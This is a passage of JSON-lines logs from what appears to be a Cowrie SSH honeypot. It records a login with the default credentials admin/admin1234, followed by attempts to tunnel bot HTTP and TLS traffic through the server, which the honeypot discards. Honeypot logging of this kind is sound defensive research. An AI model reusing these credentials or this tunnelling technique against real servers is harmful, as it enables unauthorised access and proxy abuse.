{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:09.196198Z","src_ip":"123.27.168.40","session":"6b7d88cbdb47","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:10.285819Z","src_ip":"123.27.168.40","session":"6b7d88cbdb47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:10.416332Z","src_ip":"103.77.242.62","session":"3ededd609b00","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:10.679667Z","session":"6b7d88cbdb47","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:10.778707Z","session":"6b7d88cbdb47","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:10.911718Z","src_ip":"123.27.168.40","session":"6b7d88cbdb47","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; SM-M215G/DS) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 EdgA/91.0.864.48\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=R1RCXlZDIzI3ZzNKQkZrTw%3D%3DE36Ze1fGytIZvyIXvExAiuCSPqhkb%2BEPhff284%2BOrHzwke9RPQT3gzTJn4eGpCdibF5Gs9cxCH8EOu%2F6mv7qAkTpUKg0dMHvibBvFywZjEaQQO9uBtqSBiVm0TH94g27i9orV3PQRIaTSCUDMNMsuPHzgOA%2FKMKbtyiFwDYXDsoZxMjK4qtgK%2FvFYzbgUo8V42DVfXUEtRm6k8SamlrjnjMaAkgTvVq7lYo5bfDlgymBobhun2JSkGiw1kiadMlhuptKFUtDbt%2FWLz%2F98kGpqlcXX5VM6XTMK7NnWmiHdxc8D2uLB9%2B553PUIu3OsfBrBwauPO65W%2BGjuJ2cmFEgQgspijweCRHuXNZcIXIQKpZrQ5Cig0YrV5Co35%2BaKF37ny9xdh1JYuol8qctugWhcS7JbGzqq0J9bstBA48ybGHwE%2BQR1wMwzUJWWOyKRbhq70mV1J5rFXiRCTMap2%2BC2ebdyKqVJBUmcAIPiu%2F43bnSgmYO162aRqdf6vWGn%2FEmH%2BcoNxpTvm9cUKN8QSZc%2BhcH%2BM2SgH3SCbLRIoi9uPavgEMLZbQ3CN7oaeYjqPA0q4P1e4Sq08vEYaGnM0HGyXdwgb5MCLd7XKnUpIDOmrQx4%2B78mm%2B0Bk4dqFgzFioaNgc4rZ5D8eW1%2Fa8cx92TtUmRuMS91DAPOcWnrwWwt62W9z5n8Gr4zJUNxOF8KtDar1BhMVaACxzEMXm%2Fe9tNaB%2BnVl3xruMVjHd1uV%2F8cRz6ji%2F%2F0juy6GnzY6v1UMK%2BY%2BJzF6oU%2BsoCWB1MoboAGV66%2FwRPncIT9IwzhivNbLaZftvTwlt52KgMZhfga1DYDBiHAPMHWY2sn%2FwI7hLnDwZ3SuasSoRd4hz89QxbOq%2F86zyvKTS6FdBXqWRT2kJIH6%2BYQsm9O1B3WO2AxcSVWVdwTcw%2BvcBUmY4nWWNxGBdm63gPsxET4fHBz5MQo3ePS8dq3JC3fsjNQmsMcyKIyyQ5pMWKSXA9YTRnRIqsru0qqfsYqS0CjkE%2F2RhlhZdmR%2FMAs1jl3A1OnLI%2F7Snh9yDR8Ivv42AsfhstG4gAnVY%3D'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 11; SM-M215G/DS) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36 EdgA/91.0.864.48\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=R1RCXlZDIzI3ZzNKQkZrTw%3D%3DE36Ze1fGytIZvyIXvExAiuCSPqhkb%2BEPhff284%2BOrHzwke9RPQT3gzTJn4eGpCdibF5Gs9cxCH8EOu%2F6mv7qAkTpUKg0dMHvibBvFywZjEaQQO9uBtqSBiVm0TH94g27i9orV3PQRIaTSCUDMNMsuPHzgOA%2FKMKbtyiFwDYXDsoZxMjK4qtgK%2FvFYzbgUo8V42DVfXUEtRm6k8SamlrjnjMaAkgTvVq7lYo5bfDlgymBobhun2JSkGiw1kiadMlhuptKFUtDbt%2FWLz%2F98kGpqlcXX5VM6XTMK7NnWmiHdxc8D2uLB9%2B553PUIu3OsfBrBwauPO65W%2BGjuJ2cmFEgQgspijweCRHuXNZcIXIQKpZrQ5Cig0YrV5Co35%2BaKF37ny9xdh1JYuol8qctugWhcS7JbGzqq0J9bstBA48ybGHwE%2BQR1wMwzUJWWOyKRbhq70mV1J5rFXiRCTMap2%2BC2ebdyKqVJBUmcAIPiu%2F43bnSgmYO162aRqdf6vWGn%2FEmH%2BcoNxpTvm9cUKN8QSZc%2BhcH%2BM2SgH3SCbLRIoi9uPavgEMLZbQ3CN7oaeYjqPA0q4P1e4Sq08vEYaGnM0HGyXdwgb5MCLd7XKnUpIDOmrQx4%2B78mm%2B0Bk4dqFgzFioaNgc4rZ5D8eW1%2Fa8cx92TtUmRuMS91DAPOcWnrwWwt62W9z5n8Gr4zJUNxOF8KtDar1BhMVaACxzEMXm%2Fe9tNaB%2BnVl3xruMVjHd1uV%2F8cRz6ji%2F%2F0juy6GnzY6v1UMK%2BY%2BJzF6oU%2BsoCWB1MoboAGV66%2FwRPncIT9IwzhivNbLaZftvTwlt52KgMZhfga1DYDBiHAPMHWY2sn%2FwI7hLnDwZ3SuasSoRd4hz89QxbOq%2F86zyvKTS6FdBXqWRT2kJIH6%2BYQsm9O1B3WO2AxcSVWVdwTcw%2BvcBUmY4nWWNxGBdm63gPsxET4fHBz5MQo3ePS8dq3JC3fsjNQmsMcyKIyyQ5pMWKSXA9YTRnRIqsru0qqfsYqS0CjkE%2F2RhlhZdmR%2FMAs1jl3A1OnLI%2F7Snh9yDR8Ivv42AsfhstG4gAnVY%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:10.918056Z","src_ip":"123.27.168.40","session":"6b7d88cbdb47","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:11.138651Z","src_ip":"123.27.168.40","session":"6b7d88cbdb47","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8cz\\xb5[l\\xe7\\x0e\\xd5$\\x03\\x04\\xd7/\\x83Tsg\\x9f\\xfd\\x00\\xab\\x04\\x9b\\xdf\\xc3\\x0b\\xdfM\\xa0\\x8e\\x9c\\xd1 O\\xc1\\xfb\\x8a\\x1e\\x91\\xf5z\\xdc\\xd4\\xaa\\xe0\",\\x96\\x10\\x9c\\xe8\\'\\x15}\\xd6\\x14\\xeb[g\\x18\\x0e\\xaf~&\\x9c\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x89\\x83~#\\xfcm\\x04\\x19\\xd9\\xd4\\xb44\\xf96JK\\xb4x|=v\\x07d<6\\x06\\x15}\\xff\\x85\\xe2]\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8cz\\xb5[l\\xe7\\x0e\\xd5$\\x03\\x04\\xd7/\\x83Tsg\\x9f\\xfd\\x00\\xab\\x04\\x9b\\xdf\\xc3\\x0b\\xdfM\\xa0\\x8e\\x9c\\xd1 O\\xc1\\xfb\\x8a\\x1e\\x91\\xf5z\\xdc\\xd4\\xaa\\xe0\",\\x96\\x10\\x9c\\xe8\\'\\x15}\\xd6\\x14\\xeb[g\\x18\\x0e\\xaf~&\\x9c\\x00 zz\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x1a\\x1a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\x89\\x83~#\\xfcm\\x04\\x19\\xd9\\xd4\\xb44\\xf96JK\\xb4x|=v\\x07d<6\\x06\\x15}\\xff\\x85\\xe2]\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x8a\\x8a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:11.141358Z","src_ip":"123.27.168.40","session":"6b7d88cbdb47","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"104.21.5.61","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 104.21.5.61:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:11.594003Z","session":"6b7d88cbdb47","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"104.21.5.61","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 104.21.5.61:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:11.837654Z","src_ip":"123.27.168.40","session":"6b7d88cbdb47","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"104.21.5.61","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe5\\\\8F3\\xfc\\xe0\\xa0\\xf4\\xe4S\\x9e\\xa5\\xffq\\xb3\\x93q\\xef\\xea\\nh\\xd9\\x02{\\x02\\x06KU~\\x86\\xc4 !\\xf5\\xef\\xe7N\\x9ev\\xd5\\x10_\\xb4 -x-\\xd0?\\xfd\\x82\\xe6\\xe9\\x1f\\xc9\\xa2\\xa8\\xcb\\x02\\x81>\\xde\\xebo\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc0\\x95\\x82\\x9c\\x15\\xbb#\\x11W=\\xf1\\x15.~l\\xa8\\x9a\\x8a\\xfd\\xbb:X|2\\xb0nO\\xbc\\r\\xcfQ?\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 104.21.5.61:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe5\\\\8F3\\xfc\\xe0\\xa0\\xf4\\xe4S\\x9e\\xa5\\xffq\\xb3\\x93q\\xef\\xea\\nh\\xd9\\x02{\\x02\\x06KU~\\x86\\xc4 !\\xf5\\xef\\xe7N\\x9ev\\xd5\\x10_\\xb4 -x-\\xd0?\\xfd\\x82\\xe6\\xe9\\x1f\\xc9\\xa2\\xa8\\xcb\\x02\\x81>\\xde\\xebo\\x00\"\\xba\\xba\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc0\\x95\\x82\\x9c\\x15\\xbb#\\x11W=\\xf1\\x15.~l\\xa8\\x9a\\x8a\\xfd\\xbb:X|2\\xb0nO\\xbc\\r\\xcfQ?\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xca\\xca\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02::\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:11.840760Z","src_ip":"123.27.168.40","session":"6b7d88cbdb47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:12.205148Z","src_ip":"123.27.168.40","session":"6b7d88cbdb47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.192.194","src_port":58739,"dst_ip":"10.17.0.5","dst_port":22,"session":"99477fbf9ec2","protocol":"ssh","message":"New connection: 173.208.192.194:58739 (10.17.0.5:22) [session: 99477fbf9ec2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:12.666291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:14:12.670243Z","src_ip":"173.208.192.194","session":"99477fbf9ec2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@